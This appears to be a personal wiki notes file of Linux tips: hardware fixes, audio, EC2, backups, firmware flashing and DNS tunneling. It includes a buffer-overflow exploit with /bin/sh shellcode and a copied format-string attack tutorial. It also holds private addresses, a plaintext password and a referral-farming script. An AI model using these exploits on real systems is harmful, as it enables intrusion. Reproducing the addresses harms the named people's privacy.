+{{{
+auto wlan0
+allow-hotplug wlan0
+iface wlan0 inet dhcp
+    wpa-ssid meinessid
+    wpa-psk meinpasswort
+}}}
+
+
+
Type the text for '16 May 2013'
+
+
+
!usb hotplugging
+hotfix for not nonfuct hotplugging (which is probably a problem with either laptop-mode,udev,dbus or usb-autosuspend)
+{{{
+modprobe -r uhci-hcd
+modprobe uhci-hcd
+}}}
+!brightness
+/sys/class/backlight/acpi_video0/brightness
+!fan control
+via module acerhdf_kmod ( http://piie.net/index.php?section=acerhdf )
+add line for my bios to the array of supported hw in acerhdf.c :
+{{{
+/* Acer 1810TZ */
+/// changed in new version
+
+{"Acer", "Aspire 1810TZ", "v0.3108", 0x55, 0x58, {0x9e,  0x00} },
+{"Acer", "Aspire 1810TZ", "v0.3113", 0x55, 0x58, {0x9e,  0x00} },
+{"Acer", "Aspire 1810TZ", "v0.3115", 0x55, 0x58, {0x9e,  0x00} },
+{"Acer", "Aspire 1810TZ", "v0.3117", 0x55, 0x58, {0x9e,  0x00} },
+
+}}}
+!Synaptic Touchpad
+Fix crappy touchpad, enable twofinger scrolling
+in {{{ /etc/X11/xorg.conf.d/96-synaptics-twofinger.conf }}}
+{{{
+Section "InputClass"
+Identifier "touchpad two finger scrolling"
+MatchIsTouchpad "on"
+MatchDevicePath "/dev/input/event*"
+Option "HorizScrollDelta" "0"
+Option "MinSpeed" "0.5"
+Option "MaxSpeed" "0.5"
+#Option "AccelFactor" "0.0010"
+Option "EmulateTwoFingerMinZ" "40"
+Option "EmulateTwoFingerMinW" "11"
+Option "VertTwoFingerScroll" "True"
+Option "HorizTwoFingerScroll" "True"
+Option "VertEdgeScroll" "False"
+Option "HorizEdgeScroll" "False"
+Option "JumpyCursorThreshold" "250"
+Driver "synaptics"
+EndSection
+}}}
+
+
+
<<list>>
+
+
+
! asoundrc
+!! find <card>,<device>
+see aplay -l
+!! get hdmi sound working
+in /etc/asoundrc (or ~/.asoundrc )
+{{{
+pcm.!default {
+   type plug
+   slave {
+       pcm "hw:<card>,<device>"
+       rate 48000
+   }
+}
+}}}
+!! use dmix instead of direct device
+
+{{{
+pcm.dmixer {
+   type dmix
+   ipc_key 1024
+   ipc_key_add_uid false
+   ipc_perm 0660
+   slave {
+      pcm "hw:0,0"
+      rate 48000
+      channels 2
+      format S32_LE
+      period_time 0
+      period_size 1024
+      buffer_time 0
+      buffer_size 4096
+   }
+}
+
+pcm.!default {
+   type plug
+   slave.pcm "dmixer"
+}
+}}}
+! mplayer with different device
+{{{
+mplayer -ao alsa:device=bluetooth FILE # play over bluetooth
+mplayer -ao alsa:device=hw=2.0 FILE    # play over different hardware card (like usb audio)
+}}}
+
+
+
! generate credentials
+go to https://aws-portal.amazon.com/gp/aws/developer/account/index.html
+! install ec2 webservices
+{{{
+#? /bin/bash
+wget http://s3.amazonaws.com/ec2-downloads/ec2-api-tools.zip
+unzip ec2-api-tools.zip
+mv ec2-api-tools .ec2
+
+echo "mv ~/Downloads/*.pem .ec2"
+read "you will probably need to do this"
+cd .ec2
+cat > change_env << EOF
+export EC2_HOME=~/.ec2
+export PATH=$PATH:$EC2_HOME/bin
+export EC2_PRIVATE_KEY=`ls $EC2_HOME/pk-*.pem`
+export EC2_CERT=`ls $EC2_HOME/cert-*.pem`
+export JAVA_HOME=/opt/java/jre
+EOF
+source change_env
+ec2-describe-images -o amazon
+ec2-create-keypair bobkhan >bobkhan.pem
+ 
+ec2-authorize default -p 22
+}}}
+! create instance
+
+{{{
+cd
+source .ec2/change_env
+ec2-run-instances ami-8c1fece5 -k bobkhan -t t1.micro
+ec2-describe-instances
+#look for the global dns name
+ssh -i bobkhan.pem ec2-user@$ec2-instance-name
+}}}
+
+
+
+
! using binwalk
+!! extract filesystem
+{{{
+$ binwalk openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-sysupgrade.bin
+
+DECIMAL   	HEX       	DESCRIPTION
+-------------------------------------------------------------------------------------------------------------------
+512       	0x200     	LZMA compressed data, properties: 0x6D, dictionary size: 8388608 bytes, uncompressed size: 2910740 bytes
+957612    	0xE9CAC   	Squashfs filesystem, little endian, version 4.0, compression:  size: 2356427 bytes,  653 inodes, blocksize: 262144 bytes, created: Mon Sep 23 20:26:40 2013
+$ dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-sysupgrade.bin skip=957612 bs=1 of=fs.squashfs
+$ unsquashfs fs.squashfs
+
+}}}
+!! Entropy analysis
+{{{
+binwalk -E binary
+}}}
+
+
+
! Melissa Tiono 
+!! Zuhause
+Ludwig-Roselius-Allee 89
+28329 Bremen
+
+Haltestelle: Wilhelm busch weg
+
+! Silvia Richter
+Dahmestr. 8
+Haltestelle: Joachimstr
+
+
+
!Troubleshooting
+* Rauschen
+* check with:
+{{{ arecord -D bluetooth -f S16_LE | aplay -D bluetooth  -f S16_LE}}}
+* physically disconnect bluetooth and connect again
+* unpair headset
+{{{/etc/rc.d/bluetooth restart}}}
+{{{bluetooth-applet}}} # connect to bt-headset again
+//check again
+
+
+
+
! TFTP Flashing
+Problem:
+- The Error LED is blinking 6x short (No firmware found)
+
+!! Bring into Recovery Mode
+{{{
+ifconfig eth0 192.168.11.1 up
+ethtool eth0 # just to see if ethernet is working and link is up
+
+# the TFTP Boot stuff
+wget -O tftp.rar http://download.discountnetz.com/tftp-boot-recovery/TFTP%20Boot%20Recovery%201.53.rar
+unrar x tftp.rar 
+cd TFTP*
+sudo in.tftpd -l -s -L $PWD
+# press the "function Button", the blue Power LED is blinking
+}}}
+!! Flash The new Firmware
+{{{
+(Shell 1) dnsmasq -d --dhcp-range=192.168.11.50,192.168.11.150,12h
+(Shell 2) 
+# The firmware plus updater
+wget -o ls.zip http://cdn.cloudfiles.mosso.com/c85091/ls_series-164.zip
+unzip ls.zip
+cd ls_series*
+
+sed -i 's/NoFormatting.*/NoFormatting = 0/' LSUpdater.ini
+# optionally echo 'Debug = 1' >> LSUpdater.ini
+
+pacman -S wine 
+# Cross Fingers
+wine LSUpdater.exe
+# Yes Yes Yes, Wait for quite some time
+# LinkStation will reboot, flash red again, press function again, LinkStation will blink somewhat different -> Success
+}}}
+
+!! More Tips:
+- FAQ 1: http://forums.buffalotech.com/t5/Storage/FAQ-1-of-5-EM-Mode-boot-procedures/td-p/100313
+- FAQ 2: http://forums.buffalotech.com/t5/Storage/FAQ-2-of-5-Force-Firmware-update-procedure/td-p/100317
+- FAQ 3: http://forums.buffalotech.com/t5/Storage/FAQ-3-of-5-TFTP-boot-procedure/td-p/100319
+
+
+
+
!my first BOF
+
+http://smashthestack.org/l3thal/bof.txt
+$ vuln.c
+int main(int argc, char * argv[]) {
+
+char buf[256];
+
+ie(argc == 1) {
+printf("Usage: %s input\n", argv[0]);
+exit(0);
+}
+
+strcpy(buf,argv[1]);
+printf("%s", buf);
+
+}
+./vuln `perl -e 'print "\x90"x244 ."\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "\xef\xbe\xad\xde"'`
+## we create a nop-bridge, trying to hit "deadbeef" directly
+## this will be buffer+padding-shellcode(25 byte)
+## check via
+## gdb -c core.17916
+## #0  0x41414141 in ?? ()
+## (gdb) i r <= info register
+## after 0  0xdeadbeef in ?? ()
+## find the nop bridge, hit in it
+## (gdb) x/10s $esp
+...
+0xbfffd8fc:  '\220' <repeats 200 times>   <= nops
+...
+## just hit in the middle of it
+
+./vuln `perl -e 'print "\x90"x244 ."\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" . "\xef\xbe\xad\xde"'`
+
+
+
+
Value Proposition
+Common Baseline
+Customer Benefit
+Transformation Plan
+Integration Services
+Managed Services
+Stakeholder
+Definition and Design of Transformation Roadmap
+Key Solutions
+Customer Intimacy
+Domain Expertise
+Opportunity
+Qualification
+Contracting
+High-profile
+Budgetary Offer
+Upscope
+Outtasking
+Benchmark
+Traction
+
+
+
! Quirks
+Firefox 100 percent:
+    position:absolute
+
+
+
!Dump stuff collected
+!! Skytraq + Configuration
+{{{
+svn checkout http://skytraq-datalogger.googlecode.com/svn/trunk/ skytraq-datalogger
+make
+./skytraq-datalogger --dump > here.gpx
+}}}
+!! GPSBabel
+{{{
+gpsbabel -t -i skytraq -f /dev/ttyUSB0 -ogpx -F here.gpx
+}}}
+!Mapping it
+http://www.gpsvisualizer.com/map_input?form=google
+
+
+
! Working ssh
+{{{
+# create password:
+# echo -n lolwut | mkpasswd -s
+in kernel line:
+    usercrypted=<created-password> ocs_daemonon=ssh
+
+ssh user@ip-addr
+# get into menu
+CURRENT_TTY=/dev/tty1 /opt/drbl/sbin/ocs-live-general
+}}}
+
+
+
- http://www.pwcrack.com/penetration_contract.shtml
+- http://seclists.org/pen-test/2005/Jun/307
+- http://www.pentest-standard.org/index.php/Pre-engagement
+
+
+
!Server-Side
+{{{
+useradd -r tun
+iodined -f 172.16.0.1 io.krebsco.de -u tun -P "aidsballs" -t /home/tun -c
+}}}
+!Client-Side
+{{{
+# -r skips direct mode (good for testing)
+sudo iodine -f -I1 io.krebsco.de
+}}}
+! Testing
+http://code.kryo.se/iodine/check-it/
+
+
+
http://dnscurve.org/dnssecamp.html
+
+
+
http://dx.com
+
+! affiliate
+add : ?Utm_rid=93398939&Utm_source=affiliate
+e.g: https://dx.com/p/2-0-lcd-display-electromagnetic-radiation-detector-black-1-x-6f22-170486?Utm_rid=93398939&Utm_source=affiliate
+
+
+
!Reconfigure packages
+{{{
+dpkg-reconfigure <package-name>
+}}}
+!updating rc.d on startup
+{{{
+update-rc.d 
+or
+sysv-rc-conf
+}}}
+! Change Keyboard Layout:
+{{{
+dpkg-reconfigure console-setup
+}}}
+
+
+
[[Index]]
+[[TODO]]
+
+
+
[[pandaboard]]
+[[beagleboard]]
+[[Minimus AVR]]
+
+
+
! Installation 
+Debian: http://www.dokuwiki.org/install:debian
+
+
+
!SSH on dotcloud
+create DSA Key
+{{{
+ssh -i ~/.ssh/here.dsa dotcloud@tinc.krebs.dotcloud.com -p 5960
+}}}
+
+
+
! generate a new referral
+1. Generate a new account (mail not necessary
+Probably with anonbox script for mail
+2. 
+{{{
+#? /bin/bash
+ec2-describe-instances
+ssh -i bobkhan  ec2-user@$EC2_INSTANCE
+
+wget -O dropbox.tar.gz "http://www.dropbox.com/download/?plat=lnx.x86"
+tar -tzf dropbox.tar.gz
+~/.dropbox-dist/dropboxd
+# click the link
+}}}
+
+
+
! install
+{{{
+#?/bin/sh
+# pacman -S /apt-get install / yum install duplicity gpg pwgen
+wget http://downloads.sourceforge.net/project/ftplicity/duply%20%28simple%20duplicity%29/1.5.x/duply_1.5.10.tgz?r=http%3A%2F%2Fsourceforge.net%2Fprojects%2Fftplicity%2F%3Fsource%3Ddlp&ts=1372694343&use_mirror=hivelocity -O duply.tgz
+tar xf duply.tar.gz /tmp
+mkdir ~/bin
+cp -a /tmp/duply_1.5.10/duply ~/bin
+}}}
+! configure
+{{{
+pwgen 24 # take the first
+gpg --gen-key
+# click through
+# in other shell to generate entropy
+# $ find /var/ /usr /lib /srv -type f -print0 | xargs -0 cat > /dev/null
+gpg --list-secret-key 
+# take the sec/[part]
+duply remote create
+cd ~/.duply/remote/
+cat > conf <<EOF
+GPG_KEY="[part]"
+GPG_PW="[the first]"
+TARGET="[[see schemes]]"
+SOURCE="/" # full backup
+VERBOSITY=5
+MAX_FULLBKP_AGE=1m # create full backups every month
+EOF
+
+# for full backup
+cat > exclude <<EOF
+/mnt
+/tmp
+/dev
+/sys
+/proc
+/run
+/media
+/var/
+/root/.cache/duplicity
+EOF
+
+# backup $PWD folder somewhere safe
+}}}
+! scheduling
+{{{
+echo "duply remote backup" > /etc/cron.daily/duply-remote
+chmod +x /etc/cron.daily/duply-remote
+}}}
+! schemes
+{{{
+#   file:///some_dir
+#   ftp://user[:password]@other.host[:port]/some_dir
+#   hsi://user[:password]@other.host/some_dir
+#   cf+http://container_name
+#   imap://user[:password]@host.com[/from_address_prefix]
+#   imaps://user[:password]@host.com[/from_address_prefix]
+#   rsync://user[:password]@other.host[:port]::/module/some_dir
+#   rsync://user[:password]@other.host[:port]/relative_path
+#   rsync://user[:password]@other.host[:port]//absolute_path
+#   # for the s3 user/password are AWS_ACCESS_KEY_ID/AWS_SECRET_ACCESS_KEY
+#   s3://[user:password]@host/bucket_name[/prefix]
+#   s3+http://[user:password]@bucket_name[/prefix]
+#   scp://user[:password]@other.host[:port]/some_dir
+#   ssh://user[:password]@other.host[:port]/some_dir
+#   tahoe://alias/directory
+#   webdav://user[:password]@other.host/some_dir
+#   webdavs://user[:password]@other.host/some_dir
+}}}
+
+! Get the shit out again with duplicity on another host
+{{{
+cd .duply/backup
+gpg --import < gpgkey.<HEX>.sec.asc
+grep GPG_PW conf
+duplicity --encrypt-key=<HEX> --archive-dir=other-archivedir --name=darth --tempdir=other-tempdir  restore --file-to-restore path/to/file/in/archive  file://. path/to/restore
+}}}
+
+
+
+
! generate entropy
+!! haveged
+{{{
+pacman -S haveged
+systemctl start haveged
+}}}
+!! rng-tools
+{{{
+pacman -S rng-utils
+rngd -f -r /dev/urandom
+}}}
+
+
+
! Testing without Environment
+for example for cron scripts to unset all the environment variables
+{{{
+env -i /bin/sh
+}}}
+!Proxies
+in /etc/bash.bashrc
+{{{
+export http_proxy=http://.../
+export https_proxy=http://.../
+export ftp_proxy=ftp://.../
+}}}
+in /etc/apt/apt.conf.d/01proxy
+{{{
+Acquire::http::Proxy "http://host:3128";
+}}}
+
+
+
Check Antivirus Vendors: http://www.virustotal.com
+
+
+
[[Buffer Overflows]]
+[[Format String Attack]]
+[[DNSSec Amplification]]
+
+
+
* 26 zoll
+!Gangschaltung
+* Shimano
+* Diore (LX)
+!Bremsen
+* Vbrake
+!Rahmen
+* Alurahmen
+{{{
+                          	Mountainbike	                        Rennrad	        Tourenrad/Citybike	Trekking-/Reiserad
+Körpergröße (cm)	Rahmen (cm)	Rahmen (Zoll)	Rahmen (cm)	Rahmen (cm)	Rahmen (Zoll)	Rahmen (cm)
+175-180	                43-46	         17-18	         55-57	        48-54	         19-21	         55-58
+180-185	                46-48	         18-19	         57-60	        54                      21	                 58-61
+185-190	                48-53	         19-21	         60-62	        54-57	          21-22	         61-63
+}}}
+! Federgabe
+* 
+
+
+
! umount
+{{{
+fuser -amuv /path/to/mount
+kill dat-shit
+}}}
+! umount nfs
+{{{
+umount -l /path/to/nfs
+}}}
+
+
+
From http://www.cse.iitb.ac.in/~jagdish/mtp/attacks/formatstring.html (too bad the page is down)
+<html>
+<table border="1" align="center" width="70%">
+		<tbody><tr>
+			<td> Attack Name:</td>
+			<td> <b>Format String <Attack</b> </td>
+		</tr>
+		<tr>
+			<td> What does the attack accomplish?</td>
+			<td><ul>
+				<li> Reading or Writing at arbitary locations in memory (including stack)</li>
+				<li> Code Execution: Inserting shellcode into stack and changing the return address (without buffer overflow)</li>
+			   </ul>
+			</td>	
+			
+		</tr>
+		<tr>
+			<td> What is the vulnerability?</td>
+			<td> Code containing <pre>printf(variable);</pre>  instead of <pre>printf("%s",variable);</pre> where variable is affected by user 					input</td>
+		</tr>
+		<tr>
+			<td> Background</td>
+			<td> The printf function in c takes variable number of arguments. The first argument is usually the "format string", followed by 					variables referenced in the format string.<br><br> For eg. <pre>printf("There are %d numbers in %s",arg1,arg2);</pre> Here 					%d and %s are the parameter specifiers in the format string. The first specifier uses arg1 and the second uses arg2.
+				<br><br>
+				During a call to printf, these arguments are passed on the stack (in the stack frame of printf). Here is the process of 				execution.
+				<ul>
+				<li>First of all, printf reads the first argument (format string).</li>
+				<li>It prints all characters execept those that start with '%'</li>
+				<li>On seeing '%' (i.e. parameter specifier), it fetches the next argument(here arg1) from the stack.</li>
+				<li>It will typecast argument according to the specifier and then print it.</li>
+				<li>This all continues till the end of the format string</li>
+				</ul>
+				<br><br>
+				Common specifiers:
+				<table>
+					<tbody><tr><td>%d</td><td>Reads a demical integer</td></tr>
+					<tr><td>%ld</td><td>Reads a long demical integer</td></tr>
+					<tr><td>%c</td><td>Reads a character</td></tr>		
+					<tr><td>%x</td><td>Reads a hexademical integer</td></tr>
+					<tr><td>%lx</td><td>Reads a long hexademical integer</td></tr>
+					<tr><td>%s</td><td>Reads a String</td></tr>
+					<tr><td>%n</td><td>Writes the number of characters printed till now</td></tr>
+				</tbody></table>				
+				<br>
+				*In case of %s and %n Addresses of variable are stored in stack.				
+			</td>
+		</tr>
+		<tr>
+			<td> How does it works?</td>
+			<td> 
+			     To understand the vulnerability, let us try this small code first.
+<pre>int main(){
+int i=21;
+int j=5;
+printf("%d %d %d %d %d %d %d %d %d\n");
+return 0;
+}
+
+output:
+-1890278264 -1890278248 0 -2066296096 -2090799136 -1890278272 21 0 -2069764746
+</pre>
+		      
+			Even though there are no more arguments to printf, the code worked. The output may look as garbage values, but these values come 				from the stack. As can be noticed, value of i (21) is also in the output. To confirm it, change value of i and rerun.
+
+			<br><br>
+			Also as we know <pre>printf(str); //works</pre> 	
+			If that 'str' is input from user, then user can enter string containing format specifiers, rather than normal string.		
+			This is the basis of format string attack.		
+
+			<br> So for example
+			<pre>int main(int argc, const char * argv[]){
+	char buf[160];
+	strcpy(buf,argv[1]);
+	printf(buf);
+	exit(0);
+}
+
+Run:
+./a.out "hello %d"
+output:
+hello 2126824952
+
+
+			</pre>
+
+			</td>
+		</tr>
+		<tr>
+			<td> Attack Details: Reading from stack </td>
+			<td>
+			     Reading from stack using format string is easy. We just have to use the format specifiers.
+			     <br><br>For eg <a name="example1">"example1"</a>
+<pre>int main(int argc, const char * argv[]){
+	
+	int i=3;
+        int j=4;
+	int k=5;
+	int l=6;
+	char buf[160];
+	strcpy(buf,argv[1]);
+	printf(buf);
+	exit(0);
+}
+</pre>	
+			Crafting input
+			<br>
+			1)Using perl to get the string %08x %08x ... %08x (20 times) (here 20 is just a choice) 
+
+<pre>./example1 "`perl -e 'print "%08x " x 20 '`" 
+
+output:
+14fa05f0 14f9eaf4 00000000 fefefeff 00000000 14f9ec18 00000000 78383025 30252078 20783830 38302520 25207838 78383025 
+30252078 20783830 38302520 25207838 78383025 30252078 20783830 
+</pre>
+			See that 25 30 38 78 20  are getting repeated again and again in the end. These bytes are nothing but hexademical representation of 				ascii for "%08 " 
+			<br>
+			<br>
+			That means we are reading variable buf from stack frame. 
+			Variable buf starts at the 8th %08x and its size is 160bytes. So it will take 20 "%08x" on 64bit machine. In case of 32 bit 				machine, it will take 40. (See <a href="http://www.cse.iitb.ac.in/~jagdish/mtp/attacks/formatstring.html#Idiosyncrasy">Idiosyncrasy</a> for more details)
+			<br>
+
+			So in case of a 64 bit machine, variable i will be at 28th parameter. Lets check it out.
+			<br><br>
+			2)Directly reading 28th parameter
+<pre>./example1 "%28\$d"
+
+output:
+3  
+</pre>
+			where 3 is value of variable i. <br>
+			As can bee seen, to directly access mth parameter use %m$d. The '\' was used to escape $ from bash shell.
+			<br>
+			Please note that on 64bit system, 29th parameter will not be j but will be k. To know why, see 						<a href="http://www.cse.iitb.ac.in/~jagdish/mtp/attacks/formatstring.html#Idiosyncrasy">Idiosyncrasy</a>.
+			</td>
+		</tr>	
+		<tr>
+			<td> Attack Details: Reading from arbitary memory address</td>
+			<td>
+				Remember that %s and %n works on addresses rather than values. Out of these two %s is the one that can read. So we need to 					place the address of the memory location on stack, and then call %s to read content of that location.
+			     <br><br>Consider eg <a name="example2">"example2"</a>
+<pre>char hiddencode[4];
+
+int main(int argc, const char * argv[]){
+	strcpy(hiddencode,"007");
+	printf("hidden code is at %p. Find the value of hidden code.\n",&amp;hiddencode);
+	char buf[160];
+	strcpy(buf,argv[1]);
+	printf(buf);
+	exit(0);
+}
+</pre>
+			The varible buf is on the stack. As the argument we pass will be copied in buf, we now have a way to insert the address in to the 				stack i.e. Placing the address in the format string itself.<